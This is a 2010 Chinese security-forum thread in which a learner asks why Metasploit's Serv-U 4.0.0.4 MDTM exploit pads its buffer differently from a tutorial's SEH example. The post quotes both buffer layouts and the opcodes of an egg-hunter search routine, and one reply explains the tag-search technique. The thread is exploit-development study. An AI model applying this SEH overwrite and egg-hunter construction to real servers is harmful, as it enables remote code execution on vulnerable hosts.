首页
社区
课程
招聘
[旧帖] [求助]metasploit中的一个基于seh的exploit填充 0.00雪花
发表于: 2010-12-10 11:54 937

[旧帖] [求助]metasploit中的一个基于seh的exploit填充 0.00雪花

2010-12-10 11:54
937
windows/ftp/servu_mdtm是关于servu 4.0.0.4的一个exploit,能够攻击成功,最近看了moonife翻译的Exploit编程系列,发现这个是基于seh编写的exploit,但是它的填充和翻译资料上的有些不同,请问谁能解释一下???
    在教程中填充的构造是[Junk][next SEH][SEH][Shellcode],如下所示,它的
    my $junk = "A" x 584;
      my $nextSEHoverwrite = "\xeb\x06\x90\x90"; #breakpoint
      my $SEHoverwrite = pack('V',0x1001E812); #pop pop ret from player.dll
      my $shellcode = "1ABCDEFGHIJKLM2ABCDEFGHIJKLM3ABCDEFGHIJKLM";
      my $junk2 = "\x90" x 1000;
      my $payload =$junk. $nextSEHoverwrite.$SEHoverwrite.$junk2
      在servu_mdtm中,它的填充比较复杂
                     search_rtag = "\x34\x33\x32\x31" # +1 / 0 / -1 [start, end, stored]
                search_stub = Rex::Arch::X86.searcher(search_rtag)
                search_code = "\x83\xc4\xfc\x5f" + search_stub + 'BB'
                if (datastore['SEHOffset'] < search_code.length)
                        print_error("Not enough room for search code, adjust SEHOffset")
                        return
                end

                jump_back = Rex::Arch::X86.jmp_short('$+' + (-1 * search_code.length).to_s) + 'BB'

                buf = 'MDTM 20031111111111+' + ('A' * (datastore['SEHOffset'] - search_code.length))
                buf << search_code
                buf << jump_back
                buf << [target.ret].pack('V')
                buf << ' /'
                buf << Rex::Arch::X86.dword_adjust(search_rtag, 1)
                buf << shellcode
                buf << search_rtag
                send_cmd( [buf], false )
     其中涉及的参数和方法太多,所以把文件放在了附件里,一直搞不清楚它填充的为什么这么复杂?
   尤其是其中的一个函数定义,一直不清楚它是什么意思
           #
        # This method returns the opcodes that compose a tag-based search routine
        #
        def self.searcher(tag)
                "\xbe" + dword_adjust(tag,-1)+  # mov esi, Tag - 1
                "\x46" +                        # inc esi
                "\x47" +                        # inc edi (end_search:)
                "\x39\x37" +                    # cmp [edi],esi
                "\x75\xfb" +                    # jnz 0xa (end_search)
                "\x46" +                        # inc esi
                "\x4f" +                        # dec edi (start_search:)
                "\x39\x77\xfc" +                # cmp [edi-0x4],esi
                "\x75\xfa" +                    # jnz 0x10 (start_search)
                jmp_reg('edi')                  # jmp edi
        end
      哪位大侠能帮忙解释一下
附件是它的代码

[课程]FART 脱壳王!加量不加价!FART作者讲授!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (4)
雪    币: 433
活跃值: (1875)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
2
希望你能直接把问题写在帖子上,不然没人知道你说的不同具体是指什么不同。
2010-12-10 12:56
0
雪    币: 37
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
2010-12-11 11:49
0
雪    币: 433
活跃值: (1875)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
4
跟egghunter方法类似,在内存中搜索一tag,因为此标志后面跟shellcode,找到tag就相当于找到shellcode,进而执行shellcode。
关于覆盖seh的方法并不是那么固定的,并不是非得jmp 06 ppt这样的,只要条件允许,任何的寄存器都可以直接拿来作为跳板使用,甚至回调也行;构造exploit也是如此,相当具有艺术性,它并非一层不变的,译文中的方法只是最为经典的利用方式而已,实际利用还得视应用环境而定。
2010-12-11 15:52
0
雪    币: 37
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
开始只看了前面 原来还和后面有联系 得继续看了
2010-12-12 18:29
0
游客
登录 | 注册 方可回帖
返回
//